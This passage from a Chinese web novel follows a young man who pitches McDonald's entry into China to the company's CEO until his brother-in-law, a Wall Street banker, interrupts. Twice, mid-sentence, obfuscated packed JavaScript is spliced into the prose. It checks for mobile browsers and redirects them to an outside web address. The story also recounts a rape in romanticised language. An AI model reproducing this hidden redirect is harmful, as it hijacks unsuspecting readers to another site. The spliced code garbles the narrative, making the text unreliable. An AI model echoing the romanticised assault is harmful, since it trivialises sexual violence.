梦,动了动手指,项廷低了低身体,像担心他怎么了,也像小狗会在你摸他时,总是提前把耳朵放下。项廷想叫醒他,解释些什么,错过今天就更完蛋了。腹稿打了一遍又一遍,又怕自己这个时候油腔滑调不大好。末了,只是鼻子碰了碰蓝珀的脸,像确认马路上的一只同伴有没有死掉。 蓝珀就像沉寂了一冬的银树。项廷静静守了很久,感觉被无形的东西栓在了他的身边,一步都迈不走。项廷拨开他香汗淋漓的乱发,摸了摸他的眼皮,想再看看他的眼睛,只要他的眼睛没有疲倦,他就是世界上最美丽的人。 这一刻,项廷恍然惊觉,不是来到美国那天慌促一见就钟了情,也不是美人关真就这么难过,而是他为何对于这个男人,有着与生俱来的痴心。仿佛和他,已是第二世了。可又为何,那年那美如飞焰的红衣少女,大雪中骑着她的白狼,竟越来越远了。 项廷想到,舞会的那天他喝醉了,蓝珀把他领进房间,嗔怪他洗完澡不吹头,睡觉头会痛。项廷知道有人坐在床边给他吹着头发,因为他听到吹风机在耳边嗡嗡地响,温热的风拂在脸上,温暖的手指拂过他的脸,轻轻将他的头转到另一个方向。绵延的声响很让项廷安心,像很小的时候,就在家里。苗寨木屋的泉水边上,风过那一片枫香树林,每每亦如是地响动。 再怎么努力回忆,前尘影事,也是了无踪迹,根本拼凑不出来一个完整的画面。 项廷握着他的手,发现十指都空落落的。沙发的角落,摸到了那枚春彩翡翠,已是尽碎了,只有半块。项廷借着月光,找了很久,剩下一半找不见。他坐了会儿,忽有所悟,从背包里拿出那颗蓝莓糖来,搁到戒托上,很较真地给蓝珀戴了回去。蓝珀稍稍动一下,糖就掉下来滚得老远。项廷想了会儿,不再做这等傻事,去把糖捡回来,撕开糖纸,含在口中,与蓝珀接了酸甜如昔的一个吻。 手机响起来,项廷不想接,可是一直响,一直响。只好拿起来,号码很陌生,他还以为是打错了。 那头播着苏俄作曲家的古典交响乐,项廷心里一凛。因为,那是姐姐最爱听的音乐。 项青云说:“你跟你姐夫在一块吗?我怎么找不到他?” 姐夫在的。身旁这个牡丹一夜经淫/雨,娇袭一身之病的男人,就是他的姐夫,姐姐的丈夫。 项青云说:“先算了。项廷,我要告诉你两个好消息。” 像一块刹车片植入了项廷的大脑,所有荒唐的惯性,戛然而止了。他还在举棋不定的时候,这一局,竟已是被将死了。 姐姐说,她下个月,就来美国。 号码没见过,因为在医院。 姐姐是那么幸福、又虚弱地笑着,请护士把刚出生的宝贝抱过来,问着弟弟:“来听听你小侄子的声音,好不好?” 45. 海阔无日不风波 这疯狂的一天过后,整个三月都很疯狂。全美最富盛名的体育赛事——麦当劳高中全明星赛正式开启。其热度之高,NBA都得让路。要知道总决赛当天,可是NBA的“无比赛日”——通常只有感恩节,NBA才会不安排任何的比赛。 霍瑞斯曼高中的预选赛被延迟一礼拜进行,一礼拜后,项廷在哨响前完成了奇迹般的绝杀。两队打平,均晋级了下一轮。接着,“64强进32强”却有不少高顺位的种子球队被以下克上。项廷坐大巴去休斯顿打球,刚到场馆,就有一帮子球迷乌央乌央地涌了上来,这场面,他只在春运看过。然而,还没等到两队再次相遇,凯林已经爆冷出局。项廷要到了一份录像,只见凯林整场比赛都没找到状态。不过当他的队友双手叉腰,低头接受失败的结果的时候,凯林逆着光眼神坚毅,立马朝着球员通道冲过去,好像只要他跑得够快,胜利者的笑容永远慢他一步。至少在自己心里,他还是赢家。 项廷这边,也没好到哪去。美国人最爱看超级英雄,好莱坞大片是养分,大麻一样,但他们的英雄谱系里绝不包括亚裔人。随着项廷一个寂寂无名小人物的风头竟越来越凶猛了,多校家长会联合起来,纷纷质疑他的出场席位从哪来的,敢不敢亮出学生证来?白希利因为闹事被禁了足,没法找学校董事会通融,说情。于是在被轰出去之前,项廷主动退了赛。退赛当天收到白希利一则短信:对不起,我没能守护你,但篮球之神与你同在。 项廷不确定,当初凯林的承诺还能否兑现,况且事情发展到这个地步,两人其实也没有分出个胜负。他找到失意的凯林,还没有说起这个,凯林就先急吼吼地把一张请帖拍在他胸上了:“你找我爸?别烦我了!周末生日派对见!” 去年,麦当劳一家在公园大道上那个超豪华的双层公寓里,把24个房间都装饰成了法国戛纳附近山丘蓝色海岸度假别墅的样子——那是他们孩子最爱的地方。今年,他们计划搞得更盛大,选址在公园大道的军械库,加固过的砖石建筑在全纽约地价最贵,占了整整一个街区。 周日晚上,众多各界名流人士西装革履,坐着豪华轿车陆续来到。电视界常青树、媒体巨星、纽约大主教管区红衣主教、各种跨国企业的高层都来了,几百号名人悉数到场,包括美国最大的几个银行的总裁。 举办地仿佛一个巨型的室内棚帐,灯光如星辰般在高高的穹顶上闪耀。派对尚未开始,项廷也没看到寿星凯林。他跟着秘书沿着一条陈设不俗的走廊走去,走廊以素淡的米色为基调,沿墙的壁龛里摆着鲜花。 秘书把他领到了一间会议室,并说:“瓦克恩先生已经确认您的预约,但会面时间仅限于十分钟,请您务必精简议程。” 项廷进入了这间总统似的椭圆形会议室,里面一张长沙发,一把配有搁脚小凳的高背圈手椅,一张牌桌,还有几个书架,墙上挂着印象派的绘画。 项廷孜孜不倦地求见了一个多月,麦当劳的全球总裁——瓦克恩先生此时就站在落地窗边,眺望着城市的那一头,满头的灰发像皇冠一样,大大的雪茄烟有力地握在手上。 “就这样坐下谈吧。”瓦克恩走到圈手椅旁,坐了下来。秘书轻轻把门带上。 “瓦克恩先生,非常感谢您今天抽出宝贵的时间见我。”项廷开门见山,“我相信,把麦当劳引进中国不仅是一个商业机会,而是一个历史性的事件。” 瓦克恩说:“你认为中国市场准备好迎接麦当劳了吗?” “完全确信,先生。”项廷从包中取出一份详尽的市场分析报告和业务计划。 项廷说,中国经历了十年改/革开放的洗礼,餐饮从一个基础薄弱的产业逐步发展,现在扩大内需,推动消费,给老百姓带来了实实在在的好处,日后必然得到政府的大力扶持。 说到一小半,项廷紧张地一看,果不其然瓦克恩的脸上没有丝毫被打动的神色。显然,听众的注意力这就已经触底了。 瓦克恩:“你的时间还剩下五分钟,为何不继续了?” 项廷说:“我的时间不那么宝贵。但如果我不停下来,您也会打断我,因为我在浪费您的时间。” 瓦克恩笑道:“抱歉,我实在不习惯与一位仅在餐厅打过工的年轻人讨论全球扩张策略、国际连锁经营模式。” 项廷说:“但我是在麦当劳的餐厅打的工,我很清楚麦当劳入华的真正难题在哪里,没有人比我更清楚。比如,汉堡里的生菜,现在全中国根本找不到一片……” 项廷翻到了资料的第五十二页,俨然像个讲课的教师,图文并茂地说起来:“结球生菜的种子是从日本和荷兰来的,用的育种穴盘是欧洲地中海沿岸进口的。菜苗长到四叶一心时,得在室外晒七天,让根系更强壮。搬到大田后要中耕和除草,用粘性板、变频杀虫灯和性诱剂防虫,保护水源。生菜最好是八成熟,采后两小时内得运到加工厂,经过十六道工序的检查。只有那些高品质、形状完美的生菜才能送到麦当劳后厨。不同的生菜有不同的用途,加热的要叶绿小心,做汉堡或冷食的要圆整、少碎屑,中间还要有空隙…一年有52周,应对至少52种天气,结球生菜有52个采收期,也需要拆解出52种生产工艺,所有的播种、育苗、采收、加工都要严格与供应链匹配。然而中国的农业还在靠天吃饭,绝对种不出这种一年四季脆甜的生菜……” 瓦克恩说:“我很高兴看到一个中国年轻人对麦当劳生菜的独到见解,我甚至有点怀疑你是不是肯德基派来的商业间/谍。说实话,你的谈吐超出了我对凯林推荐的人的预期,但出于经验考虑,我不会听取凯林朋友的任何意见。” “……Pardon?”项廷坐立不安地望着墙上的钟。 瓦克恩端起玻璃杯,呷了一口水,接着就说开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十分钟到了,秘书礼貌但坚决地请他离开会议室。好像项廷是刚刚做完笔录的犯人,现在该被带回囚室去了。 可项廷怎么愿意就此放弃,无论如何都不想就这样无功而返,没办法接受正是自己的投机取巧,断送了一切的机会。 保镖来了,项廷的手还紧紧扒在半掩了的门缝上:“请再给我一分钟!” 秘书劝道:“够了,孩子,我不知道你连大学都没有读的生瓜蛋,就妄想做一单跨国生意的成本有多少。但我敢肯定,你现在损坏的这扇门的价钱,不是你在麦当劳工作两年所能赚到的工资可以赔上的。” 保镖一把抓住他的衣服翻领,扭着他猛推一下。 “一百块。”显而易见的绝望里,项廷突然说,“一百块!” 门已被彻底关上,项廷还希望能有最后一线机会被听见,他大声喊了出来:“瓦克恩先生,我的成本是一百块!” 46. 花明柳暗露凄清 几位路过的女眷没忍住,见到项廷神气活现的显眼包,这个中国小伙子的脸皮好像是砂纸打磨的,大家握着手帕一阵哄笑。 光脚的不怕穿鞋的,瓦克恩可丢不起这个脸,难道要众目睽睽之下把人架着走吗? 秘书只能试着转圜道:“好吧!您提到的这一百元是指美元、欧元还是人民币呢?这笔款项是否目前压在学校的桌脚下,或是存放于银行的保险柜中?如果方便的话,您可以留下一张信用证明,瓦克恩先生将会认真考虑这一百元的价值的。” 项廷却说:“如果你觉得这一百块在我身上,那你就大错特错了。” 秘书听了一愣,他本该觉得故弄玄虚,无稽之谈,立刻报警把人抓走的。可是人的气场就这么奇怪,但凡成功人士都有一种强烈的能量场轻易扰乱他人。项廷不服从任何权威的框架,永不把自己置于从属的地位上。 于是秘书不由自主地问:“您是什么意思?” 项廷虽然行为生猛,声音却十分沉稳:“瓦克恩先生,麻烦您打开门,我的一百块,在您那里。” 他如此煞有介事的样子,众人一下子被他感染得一动没动。 半晌,原木的双开门打开了。 瓦克恩说:“你的执着令人动容,不过派对就要开场了,我只有5分钟的时间。” “没关系,我也只有一分半钟。”项廷不远不近地站在门口,却不进去,“您左边第三个书架的旁边,墙上挂着的一个画框,里面,就是我的一百块钱。” 大家回过头一望,只见那是个钞票标本似的,的的确确是瓦克恩房里最奇怪的陈设,没有之一。瓦克恩是个中国通,但把一张人民币挂墙上也太不像话了。 项廷说:“那是我的钱。‘100’的两边画了一对翅膀,要是我没记错,反面人民大会堂的下头,有个圆珠笔画的五角星。” 大家愈发诧异了,可是瓦克恩摆了摆手,让项廷进来,关上门,断绝了大多数的好奇心。 瓦克恩笑了笑,项廷也回以轻松自如的一笑。瓦克恩把椅子往身后推一推,给自己留出舒展手脚的地盘,然后才说:“看来我低估你了,你与肯德基的渊源比我想象得深。” 项廷说:“就吃过两三次,来了美国就只吃麦当劳了。” 瓦克恩说:“我欣赏你明确的立场。然而,从我的个人经历看,过于明确的界限似乎多此一举了。不瞒你说,在就职麦当劳之前,我曾是百胜集团南加州区域经理、全球化战略的掌舵人,一手推动了肯德基在中国市场的风靡。所以你刚才说的那些生菜上的学问,你企图用专业术语把我们搞晕,抛出了一堆承诺、假话和从MBA课程中学来的空话,但在我这里实在是小儿科。既然墙上是你的钱,你应该早点明说——我也是销售员出身,年轻人,千万不要输在分不清主次,不会表达上。” 项廷想说,他也是偶尔瞥见的,要不是十万火急,也不会这么冒然。这张钞票出现得太梦幻,他都不敢认。 那是1987年的10月份,肯德基中国第一店北京前门餐厅试营业的第一天,项廷轰轰烈烈带着一帮哥们来下馆子时掏出来的。此乃肯德基收到的第一张中国纸钞。 这一年,中国职工年平均工资1271元,两毛钱可以坐公交,五毛钱可以坐中巴,苹果每斤六毛,一斤富强面粉蒸制的馒头仅售三毛五分钱,10元钞票一度是单张最大面值。□□责成中国人民银行,刚发行第四套人民币没几天,全中国手握百元大钞的家庭,两只手数得过来。项廷拿到了新钞,像改造自己心爱的小摩托对人民币进行了一些个性化涂装。不过还没捂热乎,就大大咧咧地拿来请哥几个吃饭去了。 项廷提到这个,想表示,自己当年就看好前途未卜的洋快餐,以天天吃顿顿吃的方式入过股,知己知彼百战百胜。以及,拉斯维加斯肯德基年度总结会时,会场挂了一幅用计算机绘制的精美铝合金肖像画,写着北京肯德基有限公司董事长,百胜中国特别顾问,那是项廷发小他爹。 然而病急乱投医的成本一百块之说,到了老谋深算商人的耳朵里,实在是别有一番韵味。 那时,瓦克恩主持召开了一场中外记者招待会,斥资10万美金租用通信卫星向全球进行转播,告诉世界,正在腾飞的中国打开了国门,开放怀抱,迎来了一个前所未有的合作伙伴。第一站就在北京前门,他们一次性支付了十年375万元的天价租金,成为全球面积最大的分店。瓦克恩至今仍记得,前门餐厅开业当日,方圆几公里加强了安保,为了品尝到第一口洋味,蜂拥而至的食客队伍一直蜿蜒到了前门箭楼。店里十几个收银台超负荷运作,还是应付不过来。 全球都看到了中国是一块多肥的肉,没一个月,瓦克恩就从位子上被挤了下来。竞业禁止期一过,他来到了麦当劳,立志要复制肯德基的成功。但时过境迁,市场已经有人抢先一步,麦当劳的路也因此变得难走了。瓦克恩遂把当年第一位顾客的百元钞票收藏、装帧了起来,挂在墙上,励精图治,一雪前耻。 开业当天第一个交钱、第一口吃上这事的含金量有多高?项廷不很敏感。越是特权阶级本身,就越对特权没有体会。走后门?不存在的,走的从来都是正阳门。那天京城飘雪,寒风彻骨,副市长大清早顶着雪,哈着腰揭开了红布,只为了让项廷那伙顽匪似的主儿与门口系着领结的山德士上校雕塑合个影留下念。项廷说,没剪彩呢,不大好吧?市长做了个顶呱呱的手势,爷,您往那一站这才叫赏了头彩呢!当时还奇怪,怎么开了业,十点钟还不开饭呢?原来,有上头一道道指示压下来,得保证他们这帮公子哥都吃饱肚了,走了,台子都翻了,几百米的队伍这才蠕动了起来。不仅不解黎庶之苦,项廷出门还咕哝,真不知道咱们到底是吃什么来了?要论吃鸡吃得绝,非中国莫属了,炒、煮、蒸、烧、炖、焖、烤、煎、扒、涮、拌、腌、腊、熏、泡、卤、炸、干锅、白切、油淋、醉鸡、叫花、道口烧鸡、德州扒鸡……名堂不下数百种,再怎么也轮不到大洋彼岸来的鸡拔尖儿!确实,北京城够档次、有派头的地方多得是,打着圈儿吃几年也够不上肯德基。 正常的开业时间,为了这帮半大的小子延迟了足足几刻钟,瓦克恩当时无比震怒,心想难道爱新觉罗并没有跟着大清亡了,豪掷这一百块钱的是总统之子,中华人民共和国的第一儿子吗?可是项廷就在眼前,瓦克恩白头海雕一样的目光盯住他,盯穿了他,也没有觉得他有龙袍加身的样子。跟凯林混到一起去,能是真太子吗? 项廷看到了对方脸上意识到事情不对的表情,直觉告诉他,一切稳中向好。 瓦克恩前倾着身子,都快要离开他的座椅了,挨个扫了会议桌旁的两位同事一眼。然后他站起来,停顿了一下,从会议桌旁挪开一步,接着又转过身来。 一位经理接收到了总裁肢体语言的信号,说道:“我们可以向你透个底,进入中国市场,麦当劳早有规划。我们在北京选定了一块地,连续三个月进行了流量调查,我们在路口的东、西、南、北掐着秒表记录过路人数,测定每天流动人口为十万多人次。注意到,中国人消费往往有扎堆的习惯,根据客流吞吐能力和消费水平,由此断定,只要1%的人进店就能稳赚;当这个数字达到1.2%,我们就有信心击垮肯德基。但是前提——我们得拿下那块地。” 项廷可远远没有他们那么愁眉苦脸:“规划局不管事吗?” “我们当然没有甘心听任事情自然发展。可如果不是被法律规章所迫的,而是因为个别官员的阻碍而改弦易辙,那就太遗憾了。我们以麦当劳亚太区的名义致函北京市政府、市规划局,表达了希望到北京发展投资进行洽谈的意愿,至今没有收到回信。” 项廷继续直进直出:“你们找的谁啊?” 经理瞟了总裁一眼。瓦克恩沉默片刻,亲自来说:“玛丽·张。” “中文名?” 两位下级打开电脑,紧急研究,又把秘书叫进来。终于,三个美国人大着舌头报出了几个中国字。 项廷不咸不淡哦了一声。 这间屋子里紧张的人似乎变成了瓦克恩:“你认识她吗?” 项廷:“不认识。” 经理耸起来的肩膀松了,黑着脸,叫人把紧急收集的资料分门别类地放回去。瓦克恩让留下,再挖掘一下。 项廷:“别看了,你们找她不顶用。” 瓦克恩笑道:“玛丽·张是北京市规划局的行政主管,直接负责这块地的归属问题。” 经理瞅了一眼总裁,终究没说话。经理觉得项廷找茬,捣乱,无权一个劲逼问他们高层的决策,他还一句话否定、推翻了自己几个月的工作成果,便说:“好了,生菜博士!请回北京去养牛、种土豆,什么时候牛肉合格了,土豆种出来了,我们再来谈。” “就个行政主管有用吗?”项廷边喝咖啡,边拉家常的样子。 “那找谁?” “找我姑。” “你姑是?” “局/长。” 两个字快把众人撂倒,好像项廷只在一个拳头的距离隔空发了力,砰!结果是大家连椅子一起飞了出去。经理光秃的粉红色脑袋红得冒烟,温度过高将近自燃。 还没有求证此事的真伪,瓦克恩便说:“我们还需要体委与朝阳区委的大力支持。” 另一位负责人说:“因为这些部门的审核,工程事实上已经脱期了。要是再节外生枝,进一步放慢速度,不管从什么角度看,都糟糕透顶了。” 项廷若有所思。经理说:“生菜博士又认识了?” “不认识。”项廷说,“但我有认识的。” 项廷在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398233|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用中文的思维说英语,翻译过来玄之又玄谓之重玄。经理:“你这一套还没完没了的?” 瓦克恩却说:“他的思路没问题,是你的脑子跟不上。你完全是个中国盲。” 经理悻悻然闭上了嘴。 “项·廷。”瓦克恩审慎、缓慢地念出了他的名字,这是项廷赴美以来,头一个念准了他的中文名的大人物,甚至周到地调换了姓名的顺序。 瓦克恩说:“如果你接了北京的店,你讲话算不算?” 项廷反问道:“我讲话算,你讲话算不算?” 瓦克恩看着他,由衷笑了:“我讲话当然算。” “好,既然我们讲话都可以算数,那就坐下来谈。” “你和我都已经坐着了。” “不,瓦克恩先生,我要坐在那里谈。” 项廷从办公桌前那把低人一等的矮凳子上站了起来,走向窗边,坐到了象棋桌旁的椅子上。瓦克恩也就过去,坐到了棋桌的对面。 面对两人平起平坐还要手谈的架势,经理觉得好生荒诞,劝总裁三思。须知放在平常,如果一个员工不能对瓦克恩的问题对答如流,他马上就把人炒掉。他觉得项廷就像职业骗子一样圆滑,应变能力一等一好,装什么像什么。 瓦克恩却说:“过去我们把太多时间花在会议上,纠缠于问题的原因、谁应该负责,然后又开始设想最坏的结果:工作会耽误、预算会超标、政府会收回许可、银行会撤出资金。这实在是杞人忧天、浪费时间,实际上,我们本应该把精力用在探究问题的解决之道、尤其寻找是解决问题的人之上。” 项廷雄心勃勃,相信自己必打出一场逆转乾坤的翻身仗。象棋第一手苏格兰开局,d4位合乎抢占中心,直接明了,但容易一着错就被翻盘,不管了,他今天只能拼死搏一搏! 谁知瓦克恩的嘴开了光,说银行银行家便到。一阵香风来,把项廷的天真吹得无影无踪。 蓝珀门也没敲,便分花拂柳地进了来,脱下大衣,往近处随便的什么地方一挂。他好像与资本世界的每一个风云人物都建立了一种春风化雨、唇齿相依般的融洽关系,他的一句话向来顶别人的一万句。项廷不得不承认,当初蓝珀说由他来引荐,真是自己放着眼前的菩萨不拜,要拜凯林小西天,假佛爷! 就是这样的蓝珀,整片上东区怕都不敢得罪他半分、触怒他一丝的一个人,在曼哈顿他的地盘每一块石头下都埋着试图对抗他、犯下了天条的人,上个月,项廷把他□□了,灌了一肚子的精,揉花催柳,落红满径,逼着他为了活下去什么都做,最后□□蒸发了他灵魂里所有的水分,只留下干枯的万种风情,一弯青玉似的纤月下卧在那儿,像躺进了一口透明的长棺材里。 蓝珀大衣下是一件奶茶色的马海毛衣,看着很久没正经上班了,项廷不知道他消失的这一个月,毛衣里那脖子上,被欺负得颤颤的时候被自己咬出的一串鲨鱼齿项链有没有淡一些,好一点。 瓦克恩看到刚才英姿焕发的小伙子,现在双眼怎么能这么无神啊?瓦克恩其实挺喜欢这个年轻人,他想到了自己二十来岁时,初出茅庐,也是这样,我的名字还没有家喻户晓才不愿意默默无闻地死去。瓦克恩正要问问怎么了,只见项廷猛地站了起来,好像竟要告辞,刚打好的合作地基,刚铺好的致富台阶就被他给扬了。 蓝珀如回了自己家,把烟灰缸里堆成小山的烟头倒掉,就像玩扑克一样把桌上某张账单的一角翻了起来,一边又好像挺在商言商,很淡很疏地说:“我好久没有尝过严酷的‘赢者通吃’、‘你死我活’式的谈判滋味了,介意我坐在一旁观赏吗?” 项廷只感觉自己是盘菜,五花大绑完全缴械状态,一口烧好的热油往上面一炸,呲——呲!蓝珀每一个轻微的小动作,项廷就被呲了一下。鱼跃龙门那一瞬间,一道天雷呲的把他劈死了。他从山脚往上滚石头,看到黑暗,看到闪电,看到光明,终于滚到了山巅,蓝珀一出现,项廷就滚回谷底。石头?择日再滚吧! 瓦克恩叫人给蓝珀看茶。项廷却斩钉截铁道:“没聊什么!而且没什么可说的了……” 项廷毁过他,因果报应,今天,蓝珀像特地来毁回来的。项廷知道,别说他红嘴白牙几个字就能让谈判破裂,下了死手,渣都不剩,蓝珀更是巴不得看自己被枪子打烂的。 门又关上了,刚才是进不来,现在是走不了。 蓝珀抽出桌面上的消毒纸巾,拭了拭碰了烟灰缸的手,像刚杀了人在擦血迹,腕上一串辣绿的小米珠。然后他就像日本怪奇物语里,眼睛弯弯的玉面狐狸那样笑了起来,眼含秋水,色若春花,白芙蓉似的手轻轻扶了一扶花瓶中垂了头的洋牡丹,柳阴里丝丝弄碧,用那种拨动心弦令人腰痒的声音说:“可我以为你对姐夫,不眠不休,想想就有几天几夜,也说不完的话呢……” 47. 跨鸾凰思返仙界 房间里出现了一刹那的冷场。 姐夫这个词一蹦出来,经理貌似就坐不住了,负责人在后面用手按了按他的肩,压回去,压,再压。 瓦克恩精于中国茶道,现在在问佣人要一条柔软干布,擦他那个茶壶。又取价同黄金、皇家专用的龙凤团茶来,一边高高低低地冲着水,一边笑道:“我一直问他们你人在哪里,我今天正想给你打个电话。想请你来一次,看看我的孩子。但两个孩子私下已经玩得这么好了,这是我未曾想象的。” 蓝珀一副太上皇的做派,接过茶,也是笑:“天天熬夜练球,我都怕他熬坏了。天天熬夜会有口臭。” 两人说得,项廷和凯林在上幼儿园似的。项廷觉得尤其是姐夫,太会玩了,他最擅长四两拨千斤了。状似关心的一句话,像是一个狠狠的迎面耳光,一桶冰凉刺骨的井水,提醒了所有人自己只不过是个小辈,没资格上牌桌。 经理给项廷奉茶:“您这样的年轻才俊,绝对是个不可多得的合作伙伴。刚才我有些直言不讳,希望您不要放在心上。” 接过茶碗的时候,项廷欠了欠身,负责人也去压着他,很亲热的,还给他端了一碟蘸脆榛子酱动物形状的小饼干。项廷看着小猫小狗小兔子,一向冲破云霄的自尊心被灌满了伤害,愈发希望上天降下来一团神火,烧掉这个由蓝珀统治的混沌世界。 淡绿色的水面漾起阵阵波纹,待它渐渐平静下来的时候,蓝珀说:“今天要聊的事情好像格外多呢,我的小舅子等烦了可怎么办啊?” 项廷忙说:“瓦克恩先生,我想咱们能单独找个僻静的地方聊聊合作的事。您也说了,比起那些拉关系、玩手腕的,把自己的亲戚当作财富敲门砖的,您更看重的还是实打实的干活……” 瓦克恩笑道:“你可能没注意听我的后半句,我总说,做生意先做人,人做好了,生意也就好做了。你千万不要一上来就说销售的事,没有人会和陌生人做生意。蓝是我的好友、我的贵客,我怎能不尽地主之谊,好好招待他?我怎么可能就这样走开,让他觉得被冷落了?” 蓝珀像只遍身罗绮的花妖,娉娉婷婷地支在那儿不语了好会儿,听到这才开了金口,半垂着眼睛:“这话听着怎么这么重啊,你的谎话也太不上心了。我还以为,你是不是忘了我是谁呢?” 瓦克恩说:“这不可能,你是华尔街的显赫人物,我经常从别人口里知道你的八卦。” “我们也可以一起制造点八卦。”蓝珀笑道,“上星期有出戏看得很不是滋味,因为你我不在一起,可是你的秘书说,你偏偏说过不让我来。” 赶走姐夫失败的项廷,退下阵来,他明白胳膊拧不过大腿了,坐着望天,宠辱皆忘。感觉自己也不宜再发言了,越说越错,拉低调性。他已经被蓝珀彻底盖上了棺材板。 然而,跟他有关的话题只是一闪而过。 蓝珀深深地吸了一口,燃烧的烟头变得更加红艳:“你说了第一季度我们不见面,可我就是忍不住,在四月的第一天就来找你了。我忙里偷闲的理由很充分,有两个消息。” “先跟我说说好消息,”瓦克恩抚掌笑道,“好消息可不多见。” “我可没说有好消息,但坏消息呢,也不太坏。”蓝珀柔声纠正他,“最近我的同事好像全都围绕着钱打转,怎么花钱啦,借钱啦,贷款放债啦。不过我看也没什么稀奇,开银行不就是为了这个吗?但要是投资的一家公司只蚀不盈,银行当局可要蹙眉头了,我这样的乐天派也会长出皱纹来了。” 如此轻闲,甚至有些调情的谈话氛围,忽然间空气就冻住了。蓝珀静静地微笑,一件娇态横生的艺术作品倚在那儿。满屋子只有经理在动,拢了拢他的大背头,目光从半月形镜片上方扫视在场的各位。 把烟憋在肚子里足有半分钟,瓦克恩才说:“蓝,再给我些时间。我会安抚好那些非裔加盟商,挽回黑人社区的信任,我已经找到方法并且正在这么做了。” “瞧你说的,多轻飘!可你不愿再往下说了,你的方法不能说得再具体一点吗?”蓝珀说,“我听说,你们尽力控制开支,同时翘首等待,但总没有多大好转。如果说这一切让我丧气,我也的确如此。” 瓦克恩说:“今天将是一个重大的转机,我会充分利用媒体的力量,眼下的各种问题都会迎刃而解。我可以在我母亲坟前发誓。” “其实,我更看重人,而不是数字。从前我遇到过像机器人一样只关心数字的人,比如我的上司,他是那种表白、求婚都要计算成功率的人,而你显然不是这一类人。相比他那个三一学院毕业、死气沉沉的英国老庄家,你实在不太坏。”蓝珀把小半截的细烟从左手换到了右手,笑了笑,“算了,这个主意让你自己去拿吧。我该告辞了,巧遇太久,会让人胡思乱想的。” 经理心怀感激地呷了口茶,只想赶紧送走蓝珀。瓦克恩留客。蓝珀说:“哎呀,别勾引我了。虽然我是个离不开社交场的人物,喜欢佳肴美酒。不幸得很,我一放松点就会长肉,因此偶尔得对自己狠一点。眼下这一阵子,正在节食中。” 再留他,蓝珀便冷漠孤高了:“够了,今天一天真够我受了,我宣布股东会议到此结束。” 蓝珀就这么飘走了,只留下桌子上一行曲折瑰丽的香灰。他就像一个神一样,撒下几粒灾难的种子,然后纤尘不染地离去。经理喝茶呛到,嚷嚷着自己要死了,负责人拍打他的后背。瓦克恩抬一抬贵手去关电壁炉的按钮,又关了保温水壶、磁吸吊灯,劈劈啪啪地把它们统统关掉,大雄宝殿似的会议厅昏聩无日。接着他站起来踱了几步,在蓝珀留下的那个淡淡而又余裕的香里走过。然后他叫人把十六扇落地窗都撑开,穿堂风吹走了经理的假发。 项廷真不敢信,好像是他小人之心度君子之腹了,蓝珀没有刻意找他的麻烦。虽然那两人公共场合说话非拐弯抹角不可,尤其是蓝珀黏黏糊糊,滴滴答答永远沥不尽的语气,让人听着烦,但其实那些话跟他自己真没什么关系。蓝珀真的已经够到了人类的美德上限了。 瓦克恩下了逐客令:“我们很有可能不适合彼此。但话又说回来,如果这次合作真的成功了,或许能强强联合。总之,你先回去等董事会的决议吧。” 项廷走出去,关上门。麻木了半秒钟后,咻的一声,冲向电梯间。 项廷做了惨无人道的事情的第二天,蓝珀就人间蒸发了,这么大的人说没就没了。他家里没人,他上班的地方蹲不到人。一次偶遇白谟玺,说蓝珀在家玩塔罗牌,攻读火漆流麻双学位。再后来他公司的前台说他一病不起,请假了,又一个版本说他去欧洲出差了,没透露具体的。项廷查了最便宜的航班,所有的钱加起来可以买一张不带行李额度的票,有去无回。 快追上蓝珀的时候,蓝珀正在被在那儿等了十分钟的沙曼莎,劈头盖脸地问候:“钱呢!” 蓝珀:“我要不来,我太辛苦了。” 项廷奔跑中,脑袋突然灵光了,会议室里的对话哪是含沙射影,根本在明打明敲啊。投行业务下滑太严重的时期,很多银行把重心转移到更稳定的资产管理业务上去了。项廷调研过,高盛入股了麦当劳,而且是麦当劳香港的大股东。然而麦当劳的日子,最近不大好过。去年一百多位非裔前加盟商起诉麦当劳涉嫌种族歧视,紧接着华盛顿的国会山庄爆发了百万黑人男子大游行。今年以来,麦当劳股价严重跑输大盘,累计下跌10%,于是瓦克恩看各位大股东的眼神,不得不躲闪了。高管们见到蓝珀,都尊敬他,退着往后走。幸好上市早,要是现在,最后一轮投资人直接彻彻底底地流血浮亏,原始股都能赔干净底裤,不怪蓝珀有意挂牌出售股权了。 蓝珀把钱投了,亏了,现在想跑,想抛,想搞大甩卖;瓦克恩说等我,信我,不要扔下我,且看我今朝;沙曼莎觉得他俩联合起来,就拖吧你俩! 电梯的门快要合上,只差一点点,一只手顶进来,硬生生撑开了。 谁会为了挤一班电梯这么拼啊,画面像丧尸片,沙曼莎往后一缩。蓝珀美美地吐出一口气:“年轻真好,还能被吓到。” 项廷没料到电梯里还有个第三者,突然间,他那一肚子的话就像泡在水里的火柴。 蓝珀倒是乐意介绍:“我的小舅子。” 标准美国甜心长相、今天皮草内搭空气的沙曼莎,给了一个职业的微笑,便接着数落蓝珀去了。 电梯几乎每层都停,下行速度十分缓慢。 “好吧,我真的很想为自己辩护,但我知道,当下我最好点头和保持安静。”蓝珀说罢,担心自己做不到一样,一根手指竖在了唇边。 沙曼莎说:“你有时候真让人摸不着头脑,一会儿做得挺好,一会儿又让人失望。我摸不清我今天遇到的是哪一个你。一个你我想杀死,另一个你…” 蓝珀说:“另一个我,能勾起你想约会的心情吗?” 沙曼莎提着一杯咖啡,往他手里搁。蓝珀不要,沙曼莎说你爱要不要,但你要报销,又说是我寄存在你这的,我想喝就喝一口! “……蓝珀。” 